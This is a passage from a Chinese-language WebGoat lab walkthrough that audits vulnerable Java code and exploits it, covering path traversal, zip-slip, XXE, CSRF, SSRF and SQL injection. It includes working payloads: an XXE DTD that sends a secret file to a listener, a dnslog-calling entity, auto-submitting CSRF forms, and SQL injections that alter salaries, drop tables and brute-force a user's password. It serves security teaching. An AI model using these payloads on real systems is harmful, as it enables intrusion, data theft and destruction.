问题点1:这里没有对传入字符串进行解码检查,所以我们可以采用强制url编码绕过../限制。注:如果检查了我们也可以双重url编码尝试绕过
问题点2:我们构造一个?id参数,传入值path-traversal-secre
问题点3:没什么特别的

我们构造一下Payload尝试一下,响应400但是不是被过滤的400响应,可能是文件不在这个位置,继续向上遍历,成功遍历出文件内容,内容让我们提交自己用户名的Sha-512 hash值
GET /WebGoat/PathTraversal/random-picture?id={{urlenc(../../path-traversal-secret)}}


随便找个网站将自己的用户名sha512值加密后提交hash值就通关了

4.Path traversal-模块7
作者的意思是现在可以上传zip文件,需要我们把zip里的文件遍历到我们的头像位置,我们这里还是触发DOM节点获取端点去源码里看看。

我们看这段代码,整理一下需要哪些条件,再去想应对的措施
1.检查上传文件是否为ZIP格式,非ZIP文件返回错误提示
2.ZIP文件则调用processZipUpload处理,解压ZIP文件到目标目录
3.解压后比较新旧头像是否变化,头像未变化返回攻击失败结果,头像变化返回攻击成功结果
//这段代码对应问题2,上传目录 + ZIP条目,攻击者可构造恶意文件名(../../etc/passwd)解压到系统任意位置
ZipFile zip = new ZipFile(uploadedZipFile);
Enumeration<? extends ZipEntry> entries = zip.entries();
while (entries.hasMoreElements()) {
ZipEntry e = entries.nextElement();
//问题代码 File f = new File(uploadDirectory, e.getName());
InputStream is = zip.getInputStream(e);
Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING);
}
问题1:我们只能上传zip后缀的文件
问题2:我们可以尝试构造遍历的文件名,遍历到指定位置上传
问题3:没什么要解决

既然已经知道解决方案了,我们整理一下已有的信息,我们这里使用evilzip生成一下恶意的zip,生成了upgrade.zip
作者给的目标目录:/Users/macos/.webgoat-8.2.1-SNAPSHOT/PathTraversal/doctor
//java -jar evilzip-1.1.jar -f 上传的文件 -d 递归多少层 -p 目标目录/ -o 输出的zip名称 -t 操作系统
java -jar evilzip-1.1.jar -f AAA.png -d 10 -p /Users/macos/.webgoat-8.2.1-SNAPSHOT/PathTraversal/doctor/ -o upgrade.zip -t unix

我们上传一个正常的zip对比一下,正常的会在/Users/macos/.webgoat-8.2.1-SNAPSHOT/PathTraversal/doctor/目录下放一个zip

回到页面上传一下恶意zip,成功上传,我们去本地文件夹看已经是解压后的png文件了,这里头像没有替换是后端代码匹配的路径有点区别,可以确认的是文件遍历的目的达到了。


2.3.2.思考
这里贴一下7hang佬的文章,里面整理了常见的目录遍历的文件,这里贴个字典平常确认存在目录遍历的漏洞点,直接改一下字典fuzz就能知道哪些文件能访问。
https://www.cnblogs.com/AtesetEnginner/p/11064279.html
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
2.4.XML外部实体(XXE)系列
2.4.0.介绍
//这里建议看一下quan9i佬的文章,之前学习XXE漏洞也是基于佬的文章总结的,了解了XML语言再来审计XML实体注入漏洞
https://tttang.com/archive/1716/#toc_dtd_1
1.XXE漏洞全称XML External Entity Injection ,即xml外部实体注入漏洞。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件。
2.漏洞危害
a.造成文件读取
b.命令执行
c.内网端口扫描
d.攻击内网网站
e.发起dos攻击等危害
2.4.1.代码审计
1.XML External Entity-模块4
这题作者的意思是让我们在提交评论时尝试利用一下XXE注入,并列出一下本地文件的根目录,我们触发DOM节点去找一下端点路径,去后端源码搜一下端点路径

这里有一段关键代码,可以看到默认不开启安全防护,直接解析用户提交的XML数据
//secure 默认为 false(不启用安全防护),判断会话中是否设置了applySecurity字符,如果存在该属性,将 secure 设为 true(启用安全防护),解析用户提交的 XML 数据
boolean secure = false;
if (null != request.getSession().getAttribute("applySecurity")) {
secure = true;
}
Comment comment = comments.parseXml(commentStr, secure);

我们回到站点抓包尝试注入XXE,这里使用外部实体的一般实体。
这里讲一下XXE漏洞的主要危害在外部实体可以引用外部资源,内部实体危害较低,而实体的表达方式分为一般实体和参数实体,两者区别就是表达式不一样功能一样,但是参数实体需要加载远程的dtd到达XXE的效果,这里用一般实体就行咯,成功注入XXE。
//一般实体,使用
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<comment>
<text>&file;</text>
</comment>

2.XML External Entity-模块7
我们先读题,作者的意思是开发人员在使用REST框架的接口设计时,可能没考虑到其他数据格式,导致被XXE攻击,那我们这里先了解一下REST框架是什么和主流Web开发框架SpringMVC的关系。
1.REST框架核心概念
REST是一种接口设计规范,核心思想是将服务器数据视为「资源」,通过固定的 HTTP 动作(GET/POST/PUT/DELETE)对资源进行操作。REST 框架则是实现这套规范的工具,它简化了接口开发流程,让客户端(如网页、APP)能以统一方式与服务器交互,就像用标准化菜单点外卖,无论哪家餐厅都能看懂你的需求。例如:
GET /users/1 → 查看 ID 为 1 的用户(获取资源)
POST /users → 新增用户(创建资源)
2.REST框架与Spring的关系
SpringMVC是Spring框架中用于开发Web接口的模块,是Java领域最常用的REST框架实现之一
//它通过注解(如 @RestController、@GetMapping)将 REST 规范转化为代码,例如:
@RestController // 声明为REST接口类
@RequestMapping("/api/users") // 资源路径
public class UserController {
@GetMapping("/{id}") // 对应REST的GET动作
public User getUser(@PathVariable int id) { ... }
@PostMapping // 对应REST的POST动作
public User createUser(@RequestBody User user) { ... }
}

了解了REST框架是什么后,我们再触发一下DOM节点去看一下Endpoint节点路径在源码找一下Endpoint端点方法。

看了一下源码没有什么特别的限制,安全模式没有开启,只是加了一段判断逻辑,我们这里希望后端能够解析我们注入的恶意xml代码,所以Content-Type必须为application/xml。
-
当
Content-Type为application/json时,使用parseJson解析JSON格式的评论 -
当
Content-Type包含application/xml时,尝试解析XML评论,根据会话中的applySecurity标志决定是否启用安全解析。
if (APPLICATION_JSON_VALUE.equals(contentType)) {
comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c, true));
attackResult = failed(this).feedback("xxe.content.type.feedback.json").build();
}
if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {

我们尝试修改Content-Type注入恶意xml代码成功注入,这题就是作者想告诉我们在json格式请求中可能会处理xml格式请求,这题不是重点。

这里作者提了一下XXE的Payload容易被网络设备拦截,如果换成HTTPS去访问并发送请求就会安全一些,这里说的应该是防火墙和IDS、IPS这类设备,不过现在的云WAF还是能解密HTTPS流量去拦截的。

3.XML External Entity-模块11
这里作者意思是要我们远程挂载一个恶意的DTD文件,发送Payload让后端访问恶意DTD执行里面的恶意XML读取本地的secret。这种情况在真实环境注入Payload无回显,我们就可以尝试使用参数实体把回显打到我们的监听服务器。我们继续触发DOM节点找一下Endpoint端点路径,通过端点路径定位一下端点源码。

后端源码没什么特别的,这里多了一个if处理逻辑检测到评论内容存在CONTENTS常量的值就返回固定的回显,这里可以看作无回显,我们尝试构造Payload利用一下。
>58 static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
>91 if (CONTENTS.contains(comment.getText())) {
>92 comment.setText("Nice try, you need to send the file to WebWolf");
}

这里需要一台监听的攻击机,我们之间在WebWolf上传我们的eval2.0.xml,再向目标发送Payload触发文件读取,再将读取到的内容请求外带到WebWolf监听日志中。
1.攻击机上eval.xml的内容
<!ENTITY % file SYSTEM "file:///Users/macos/.webgoat-8.2.1-SNAPSHOT//XXE/secret.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:9090?p=%file;'>">
2.Payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1:9090/files/doctor/eval2.0.xml">
%remote;%int;%send;
]>


我们查看WebWolf的监听日志,可以发现读取到的内容被成功外带出来,我们输入Url解码后的Payload成功通关。


2.4.2.思考
XXE漏洞的后续利用有点类似SSRF,两者都是基于各种协议的特性去利用漏洞。XXE后续利用主要为读取文件、探测内网或者特殊情况下可以达到命令执行的效果,这里可以列举一下常见语言支持的XXE利用协议,再就是看一下quan9i佬的文章了解一下XXE。
//jdk1.8开始不再支持gopher协议

2.5.请求伪造系列
2.5.0.跨站请求伪造(CSRF)
1.介绍
常见的请求伪造有两种,第一种跨站请求伪造也就是我们的CSRF,第二种服务端请求伪造也就是我们的SSRF。CSRF 通俗的说就是构造payload 然后诱导受害者点击,从而利用受害者的身份去做一些事情。
★简单理解:网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能。
2.代码审计
我们进入模块7看到作者希望我们利用CSRF去发送邮件,我们这里先不着急复现,先从代码审计思路去找,这里给了Maping(映射)的路径,我们直接idea command+O搜索一下,/csrf/feedback/message可以定位到Endpoint(端点),如果不知道我这段话在讲啥可以看一下上面提到的了解Controller(控制器)、Mapping(映射)和 Endpoint(端点)之间的关系。


我们看一下端点的方法部分,可以确认实际上后端代码反向校验了Referer字段的值是否同源,所以我们不需要伪造什么
1. hostOrRefererDifferentHost(request)方法:获取请求头中的Referer(来源页面URL)和Host(当前主机名),若Referer存在:检查是否包含Host值,不包含则返回true(不同源)若Referer不存在:直接返回true(视为安全)
★2. Content-Type需要要是text/plain的类型,这里后面会用到

有思路了,我们就可以去前端先构造数据包了,先随便提交一次内容,查看网络复制为cURL然后在中间人拦截工具中粘贴,yakit的重发器里有构造请求功能


很多文章这里都模模糊糊跳过了,我们仔细看看这里作者提示我们源头需要是Webwolf的站点,所以我们从idea把Webwolf启动起来

这里作者的意思是Webwolf挂载我们的CSRF POC,我们在yakit测试一下,referer在Webgoat同源站点http://127.0.0.1:8080/的时候,无法正确的获取响应。我们把referer换成WebWolf的http://127.0.0.1:9090/或者置空成功获取正确响应,这里作者相当于把referer校验给反向放行了。
真实环境就需要各种操作去绕过Referer校验了,比如置空、把自己域名的子域名设置为同源站点域名、目录设为同源站点关键字等方法…


直接使用yakit构造CSRF POC,然后贴到HTML中,再将html挂载到WebWolf站点上



我们访问一下挂载的CSRF POC,发现报错,这里我们有两条线路,一个是抓包拦截分析是哪里出了问题,一个是直接去分析源码看看为什么会抛出报错,这里我们2种都看看


先看源码的Endpoint端点里的方法

这段代码的功能是严格验证传入的JSON字符串格式,这段代码是作者故意写的,方便我们去排错,实际上我们实际生产环境遇到json的CSRF POC也会遇到传参错误的问题
1. 启用严格校验:配置ObjectMapper启用6项严格校验规则(如禁止忽略属性、禁止基本类型为null等)
2. 解析JSON:尝试将feedback字符串解析为Map对象
3. 异常处理:若解析失败(如JSON格式错误),捕获异常并返回包含错误堆栈的攻击结果
public AttackResult completed(HttpServletRequest request, @RequestBody String feedback) {
try {
objectMapper.enable(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES);
objectMapper.enable(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES);
objectMapper.enable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS);
objectMapper.enable(DeserializationFeature.FAIL_ON_READING_DUP_TREE_KEY);
objectMapper.enable(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES);
objectMapper.enable(DeserializationFeature.FAIL_ON_TRAILING_TOKENS);
objectMapper.readValue(feedback.getBytes(), Map.class);
} catch (IOException e) {
return failed(this).feedback(ExceptionUtils.getStackTrace(e)).build();
}
再看看报错的内容,没有识别到name参数,不知道什么原因看一下请求包出了什么问题,传参不是json格式了,所以CSRF POC需要改一下


我们改一下CSRF POC,把请求体转换成json格式尝试请求一下,发现还是报错,可以看到json数据后面带了个等号,不知道哪里冒出来了,那就打开作者研究的文章看看
<html>
<body>
<form action="http://127.0.0.1:8080/WebGoat/csrf/feedback/message" method="POST" name="form1" >
<input type="hidden" name='{"name": "WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!"}'>
<input type="submit" abcd='request'>
</form>
<script>history.pushState('', '', '/');</script>
</body>
</html>


可以看到作者提到了,请求末尾多了一个“=”。POST 请求主体的格式是“name=value&name2=value2”。由于我只指定了一个名称,没有指定值,浏览器很自然地在名称后添加了一个“=”
<blockquote class="wp-embedded-content" data-secret="fQWV5vagTp"><a href="https://pentestmonkey.net/blog/csrf-xml-post-request">Cross-Site Request Forgery For POST Requests With An XML Body</a></blockquote>
<iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“Cross-Site Request Forgery For POST Requests With An XML Body” — pentestmonkey" src="https://pentestmonkey.net/blog/csrf-xml-post-request/embed#?secret=0SEiwVEBhp#?secret=fQWV5vagTp" data-secret="fQWV5vagTp" width="600" height="338" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>

作者的解决方案是把value继续变成空值,这样就会留个=号,xml声明中有=号,刚好把多出来的=号赋在xml中,这里需要看懂
1. 示例XML代码:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root [
<!ENTITY rootas SYSTEM "http://xgsg1k.dnslog.cn">
]>
<xxx>
&rootas;
</xxx>
2. 修改后的XML代码,把=号替换成'value=',这样后端处理'value='赋予的是空值自然会剩下一个=号
<?xml version'value='"1.0" encoding="utf-8" ?>
<!DOCTYPE root [
<!ENTITY rootas SYSTEM "http://xgsg1k.dnslog.cn">
]>
<xxx>
&rootas;
</xxx>
★★这里是关键标星咯,而我们要提交的是json格式的数据没有=号可以去替代,很简单咯我们让=号在json内容里当成字符串总不会报错了吧,尝试一下咯,把'value='赋到json内容里,看看效果,果然可以
<html>
<body>
<form action="http://127.0.0.1:8080/WebGoat/csrf/feedback/message" method="POST" name="form1" >
<input type="hidden" name='{"name": "WebGoat","email":"webgoat@webgoat.org","content":"Web'value='Goat is the best!!"}'>
<input type="submit" abcd='request'>
</form>
<script>history.pushState('', '', '/');</script>
</body>
</html>

我们上传平台利用试试,还是报错,这个问题作者也提到了,意思就是当form的enctype设置为text/plain时,表单数据会以纯文本形式发送,不会进行URL编码(不同于application/x-www-form-urlencoded)
1. 包含我的 XML 的“名称”被 URL 编码,从而破坏了 POST 请求的主体
2. Sid 指出,Shreeraj Shah 在 2008 年 HITB 演示文稿的第 34 张幻灯片中提出了针对该问题的优雅解决方案。引用他的演讲,poc 应该指定“text/plain”的 ENCTYPE:


我们把ENCTYPE="text/plain"配置上,再看看效果载荷已经没有被URL编码处理了,成功获取flag。
<html>
<body>
<form action="http://127.0.0.1:8080/WebGoat/csrf/feedback/message" method="POST" name="form1" ENCTYPE="text/plain">
<input type="hidden" name='{"name": "WebGoat","email":"webgoat@webgoat.org","content":"Web'value='Goat is the best!!"}'>
<input type="submit" abcd='request'>
</form>
<script>history.pushState('', '', '/');</script>
</body>
</html>

3.思考
本次复现可以总结一些实战中会遇到的问题,需要我们注意
1.审计CSRF时应当,确定是否有一些同源校验处理,通过审计校验的规则去尝试绕过方法
2.利用CSRF时应当看我们的传参有没有正确传参,我们用自动化工具构造POC时,可能会构造非服务端可处理的传参形式,如此实验应该传JSON格式参数,自动化脚本变为application/x-www-form-urlencoded传参。这时就需要去调试我们的POC
3.另外传参可能会出现错误符合掺杂其中,这时需要去移植到字符串或闭合掉:value未赋值=号遗留问题
4.POC请求可能会被URL编码处理,可以在form中设置enctype为text/plain,表单数据会以纯文本形式发送。
2.5.1.服务端请求伪造(SSRF)
1.介绍
服务端请求伪造攻击(SSRF)也成为跨站点端口攻击,是由于一些应用在向第三方主机请求资源时提供了URL并通过传递的URL来获取资源引起的,当这种功能没有对协议、网络可信便捷做好限制时,攻击者可利用这种缺陷来获取内网敏感数据、DOS内网服务器、读文件甚至于可获取内网服务器控制权限等。
2.代码审计
还是一样,我们点一下表单提交按钮,去源码找一下Endpoint(端点)路径/SSRF/task2


我们分析一下这段方法的内容,验证URL并执行SSRF检测,String.matches()要求整个字符串完全匹配正则表达式,没有可绕过的地方只能按照作者设计的去请求一下外站http://ifconfig.pro,后续没有什么好分析的页面无法填写表单,我们抓包可以中间人篡改一下
protected AttackResult furBall(String url) {
if (url.matches("http://ifconfig.pro")) {
String html;
try (InputStream in = new URL(url).openStream()) {
html = new String(in.readAllBytes(), StandardCharsets.UTF_8)
.replaceAll("\n","<br>");
} catch (MalformedURLException e) {
return getFailedResult(e.getMessage());
} catch (IOException e) {

3.思考
SSRF在攻防中还是比较常见的,但是大多都有限制主要通过不同协议去绕过这些限制达到RCE的效果,这里我会放上我的另一篇文章,关于SSRF的通用检测和绕过方式,这里贴一下d4m1ts师傅给到的SSRF常见支持的协议,后续会整理一篇大全文章发布。

2.6.SQL注入系列
2.6.0.介绍
1.SQL注入攻击的分类
1.1 基于错误的注入攻击
基于错误的注入攻击是指攻击者通过构造恶意的SQL语句,使得数据库返回错误信息,通过获取错误信息来获取敏感数据。
1.2 基于布尔盲注的攻击
基于布尔盲注的攻击是指攻击者通过构造一系列恶意的SQL语句,根据返回结果的真假来逐位猜解出数据库的内容。
1.3 基于时间盲注的攻击
基于时间盲注的攻击是指攻击者通过构造恶意的SQL语句,使得数据库在执行时出现延时,通过延时的长短来判断数据库的内容。
2.代码审计中防范SQL注入攻击的技术措施
2.1 输入验证
在代码审计过程中,对于用户的输入参数,应该进行充分的验证,包括对类型、长度、格式以及字符编码等的检查,避免恶意注入。
2.2 参数化查询
参数化查询是一种通过对SQL语句预编译并使用参数来代替用户输入的方式,避免了SQL语句的拼接,从而有效防范了SQL注入攻击。
2.3 输入过滤
对于用户输入的特殊字符,应该进行过滤或者转义,将其转换为安全的文本,避免注入攻击。
2.4 最小权限原则
在数据库的访问权限配置上,应该遵守最小权限原则,确保应用程序只拥有必要的权限,以减少被攻击的风险。
审计SQL注入前先了解一下数据库操作的三种核心命令
| 类型 | 全称 | 作用 | 典型语句 | 影响范围 |
|---|---|---|---|---|
| DML | 数据操作语言 (Data Manipulation Language) | 对数据进行增删改查 | SELECT、INSERT、UPDATE、DELETE |
表中的行(数据内容) |
| DDL | 数据定义语言 (Data Definition Language) | 对表结构进行创建、修改、删除 | CREATE TABLE、ALTER TABLE、DROP TABLE |
表结构(列、约束、索引) |
| DCL | 数据控制语言 (Data Control Language) | 对用户权限进行管理 | GRANT、REVOKE、COMMIT、ROLLBACK |
用户访问权限、事务控制 |
2.6.1.代码审计
1.SQL Injection (intro)-模块12
老规矩先读题,题主的意思是想让我们通过员工姓名和认证TAN去改我们薪资,那么首先我们确认的是
1.以下表单存在注入点,注入类型是字符型(这里通过传参确认的员工姓名和认证TAN)都是字符串
2.当前数据库用户有DML(数据库查询语句)的UPDATE或INSERT、DELETE语句权限
我们还是去触发DOM的节点,看一下请求的Endpoint路径,以代码审计为主。


定位到源码,我们先理解一下源码是什么意思,可以发现这段代码没有对用户输入未做任何过滤或参数化处理,直接带到数据库动态SQL查询
- 直接拼接用户输入参数
name和auth_tan生成SQL语句,未做任何过滤或参数化处理,导致SQL注入风险; - 通过
LessonDataSource获取数据库连接,创建可滚动、可更新的Statement对象,直接执行动态SQL查询。
protected AttackResult injectableQueryIntegrity(String name, String auth_tan) {
StringBuffer output = new StringBuffer();
String query = "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
try (Connection connection = dataSource.getConnection()) {
try {
Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);

既然确认有SQL注入,我们就需要把查询语句拿出来构造我们的注入语句
- 我们需要遵循
注入的SQL语句不能破坏原有语句的执行,如果破坏语句需要注释掉(前提是不影响注入语句的执行) - 需要用到DML(数据操作语言)里的
UPDATE或INSERT、DELETE语句权限
String query = "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'"
我们看上面的语句可以发现name和auth_tan两个参数都可以直接传参注入,但是需要注意的是第一句话说的我们注入的语句不能破坏原有的语句执行,那么两种参数注入实际是有区别的
-
注入auth_tan时我们输入比如
a' or 'b'='b时,后续没有其他语句拼接,那么语句是不会报错 -
注入name时我们输入比如
a' or 'b'='b时,后续还有AND auth_tan = 'auth_tan',那么我们实际注入就会带上后面的语句,这样auth_tan的值必须为真,如果auth_tan有注入我们可以继续在auth_tan传参处字符串=字符串,但是如果auth_tan没有注入点,我们就需要猜解auth_tan的值,那这个就没有意义了。所以有了注释后续语句的办法,也就是我们后续不去执行AND auth_tan = 'auth_tan',我们注入看看效果对比一下a' or 'b'='b a
//这里增加了'--,其中'是为了补齐注释掉的',--是注释后续的auth_tan
a' or 'b'='b'--
a

既然可以注入我们就构造注入语句,成功注入
//UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
//其中符号'是补充一个闭合符,符号;代表语句的终止执行符,这样后面就可以输入我们的完整语句,--作为注释后续语句使用
a';update employees set SALARY=999999999 where USERID=37648--

2.SQL Injection (intro)-模块13
老规矩先读题,题主的意思是想让我们删除在模块12中我们针对数据库的操作记录

1.当前数据库用户有DML(数据库查询语句)的DELETE的语句权限,或者有DDL(数据定义语言)的ALTER TABLE、DROP TABLE的权限。
但是这里我们需要了解到DDL和DML的区别,两者一个可回滚也就是可溯源,一种不可回滚防止溯源,不过数据库都有备份我们日常攻防还是尽量不要使用DDL操作数据库风险太大,删不干净就删不干净。
DML(INSERT、UPDATE、DELETE):操作表中的数据,支持事务回滚。
DDL(CREATE、ALTER、DROP):操作表的结构,不可回滚(除非在事务中且未提交)
2.需要知道我们操作数据库会留下什么日志,这里可以回顾之前的语句,那么999999999是不变的关键字,我们就从这里入手搜索一下,很多发现很多语句注入记录。
a';update employees set SALARY=999999999 where USERID=37648--

我们还是去触发DOM的节点,看一下请求的Endpoint路径,以代码审计为主,确认路径为SqlInjection/attack10

在idea查看查询语句,发现还是直接将用户输入拼接到SQL查询中未做过滤,采用字符类型传参,那就没什么需要注意的了,我们直接构造删除语句
protected AttackResult injectableQueryAvailability(String action) {
StringBuffer output = new StringBuffer();
String query = "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'";

我们一步步来,先构造一个注入测试语句明白注入的结构,再去拼接我们的注入语句
222' or 'a'='a'--

这里我们保险起见先查询是否能命中要删除的数据,再尝试删除数据,提示我们删除不干净,这里其实是删除干净表里的内容了,作者意思是直接删除表。
//DELETE 字段名 FROM 表名称 WHERE 列名称 = 值
222';select * FROM access_log WHERE ID BETWEEN 0 AND 7 --
//DELETE FROM 表名称 WHERE 列名称 = 值
//符号';闭合的作用,ID BETWEEN 0 AND 7这里是取ID为0-7的数据,--是注释后续的符号防止注入失败
222';DELETE FROM access_log WHERE ID BETWEEN 0 AND 7--

那我们只能尝试删掉这张表了,作者这样设计的实战不要这样用,还是上面说的DROP操作是不可逆,如果你打APT那么当然可以,可以看到表被直接删除。
//DROP TABLE table_name
222';DROP TABLE access_log--

3.SQL Injection (advanced)-模块5
开始先了解一下预编译,预编译最早是为了使用预编译语句时,数据库可以缓存和重用查询的执行计划,从而提高查询性能,尤其是在相同的查询结构但不同的参数被多次执行时,防止sql注入只是附属功能。
delete from emp where id = 1;
delete from emp where id = 2;
delete from emp where id = 3;

引用x1lys佬文章的一句话,基本可以理解预编译是什么,如果不明白的可以点链接了解清楚再进行下一步:预编译技术是提前写好了SQL语句的语法结构,或者叫"模板",所有的用户输入都只是当作参数插入,导致所有试图改变SQL语法结构的SQL注入payload都只是一个参数而已,无法逃逸出来,无法对SQL的语法结构、执行逻辑造成任何影响。SQL注入之所以能成功是因为,可控之处改变了整个SQL语句的语法结构,改变了整个SQL语句的执行逻辑,也就是可以自由控制”模板”
//预编译的工作流程
1. 准备语句:SQL 语句的结构被发送到数据库服务器,数据库服务器解析并预处理这些语句,生成一个查询执行计划。
2. 绑定参数:在预编译阶段,参数占位符(如 ? 或 :param)被用作数据的占位符,实际的参数值在执行阶段绑定到这些占位符。
4. 执行语句:将实际的参数值传递给预编译语句,然后执行查询,数据库使用之前生成的执行计划来处理实际的数据。
5. 获取结果:查询执行后,结果返回给 PHP 脚本,可以进一步处理或显示。
了解预编译后,还是一样我们先审题,让我们用tom的身份登录,那就是测试万能密码了,我们这里先触发DOM节点,利用端点路径找一下后端代码

可以看到后端代码对userid和password的值进行了预编译处理,这里没有办法注入了,去看看其他DOM节点是否存在注入
@PostMapping("/SqlInjectionAdvanced/challenge_Login")
@ResponseBody
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
try (var connection = dataSource.getConnection()) {
var statement = connection.prepareStatement("select password from sql_challenge_users where userid = ? and password = ?");
statement.setString(1, username_login);
statement.setString(2, password_login);
var resultSet = statement.executeQuery();

这里还有一个注册模块,我们的目的是登录Tom的账号,所以这里尝试Tom账号注册,这里是注入所以注册的逻辑漏洞不尝试,继续触发DOM节点去找端点路径,去后端审源码

Command+O定位到端点路径的方法,可以看到针对userid的值直接进行非预编译查询,其余参数均进行了预编译处理,所以这里只能从userid的注入点入手
@PutMapping("/SqlInjectionAdvanced/challenge")
//assignment path is bounded to class so we use different http method :-)
@ResponseBody
public AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {
AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);
if (attackResult == null) {
try (Connection connection = dataSource.getConnection()) {
String checkUserQuery = "select userid from sql_challenge_users where userid = '" + username_reg + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(checkUserQuery);

这里我们的目标是获取Tom的密码,可以确定的就是,我们要通过(报错注入、布尔盲注、时间盲注)中的一种获取password的值,优先尝试最方便的报错注入,其次布尔盲注,最后时间盲注。
但是我们看后端代码有这一段,当执行数据库查询或插入操作时发生SQLException异常(如SQL语法错误、连接问题等),通过output("Something went wrong")设置返回给用户的错误信息,这里报错被固定输出了,所以报错注入行不通了,这里实战可能不会直接发现,我也是Fuzz报错注入发现打印的内容都一样,回头看代码发现被限制了
catch (SQLException e) {
attackResult = failed(this).output("Something went wrong").build();
}
我们再试试布尔盲注,这里我们整理一下已有的信息,我们根据已有的信息尝试构建出布尔盲注语句
数据库名:未知
表名:sql_challenge_users
字段名1:userid
userid值:tom
想获取的信息:密码的字段名、密码的值
先用基本语句构造一下看是否有False和True的注入方法,我们采用基本语句尝试一下,发现还是有区别,我们这里不管逻辑,只看结果1=1恒为真我们便可以当为真处理,1=2恒为假我们可以当做假处理。
tom' and '1'='1 //User {0} already exists please try to register with a different username.
tom' and '1'='2 //User tom' and '1'='2 created, please proceed to the login page.
接下来构造出我们的注入语句,尝试去猜解密码的字段名,成功猜解出字段名为password
//需要注意的是表里字段非常多,如果逐个猜解的话,一是没法确认字段位置,二是需要重复工作,所以我们这里直接枚举常见字段名称是首选的办法,这里密码字段就那么多我们尝试枚举一下
tom'and length(字段名)>0--
//Payload
PUT /WebGoat/SqlInjectionAdvanced/challenge HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua-mobile: ?0
Sec-Fetch-Mode: cors
Origin: http://127.0.0.1:8080
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
sec-ch-ua-platform: "macOS"
Accept: */*
Cookie: JSESSIONID=FkMsvGFT-qQrRVOtqKbps5s7n99RigaDHtrMSliu; WEBWOLFSESSION=kSS9v2Bpww6-bPJBdm8ibFshE9Tye0vB5WbNps7_
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Sec-Fetch-Site: same-origin
Sec-Fetch-Dest: empty
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Content-Length: 74
username_reg={{urlescape(tom'and length({{file:line(/Users/macos/yakit-projects/temp/tmp3623481511.txt)}})>0--)}}&email_reg=a%40a.com&password_reg=a&confirm_password_reg=a

知道字段名为password后,我们就可以开始枚举userid=tom的password字段值了,但是发包过快会报错需要降低并发(高频请求会耗尽连接池/线程池,触发数据库或应用的并发保护机制导致抛出异常),构造枚举字段的值的注入语句。
//这里可以使用yakit的官方Fuzz标签:https://www.yaklang.com/products/manual/expert-mode/Web%20Fuzzer/Fuzz-tags/#6-%E4%BB%BB%E6%84%8F%E5%AD%97%E7%AC%A6rangechar
1. tom'and substr(password,1,1)='枚举值'--+
username_reg={{urlescape(tom'and substr(password,{{int(1-30)}},1)='{{rangechar(a-zA-Z0-9)}}'--+)}}&email_reg=a%40a.com&password_reg=a&confirm_password_reg=a
我们使用yakit官方Fuzz标签,记得筛选响应大小=210的http报文,这样就筛选出来True的响应,报文比较多进入全部数据把响应大小为210的所有Payload导出就可以咯


这里解个码用excel的分列功能排个序就行了


这里获取到了tom的密码登录一下成功登录
thisisasecretfortomonly

4.SQL Injection (mitigation)-模块10
先审题,这里作者的意思是让我们想办法绕过输入验证,点一下跳转连接提示我们查询一下其他表里的数据


我们触发一下DOM节点,去看一下源码

Command+O匹配一下源码地址,这段代码主要有两部分功能:
1.匹配用户输入的FROM和SELECT并置为空值(记忆这里)
2.匹配空格,并返回固定的报错信息
@PostMapping("/SqlOnlyInputValidationOnKeywords/attack")
@ResponseBody
public AttackResult attack(@RequestParam("userid_sql_only_input_validation_on_keywords") String userId) {
userId = userId.toUpperCase().replace("FROM", "").replace("SELECT", "");
if (userId.contains(" ")) {
return failed(this).feedback("SqlOnlyInputValidationOnKeywords-failed").build();
}
AttackResult attackResult = lesson6a.injectableQuery(userId);
return new AttackResult(attackResult.isLessonCompleted(), attackResult.getFeedback(), attackResult.getOutput(), getClass().getSimpleName(), true);
}
}

信息有点少,继续跟一下,这段代码是调用SqlInjectionLesson6a类的injectableQuery方法,执行SQL语句,我们跟进去这个injectableQuery()方法
AttackResult attackResult = lesson6a.injectableQuery(userId);
这段语句意思是:
1.将用户输入的accountName直接拼接到SQL语句中SELECT * FROM user_data WHERE last_name = ' + accountName + '
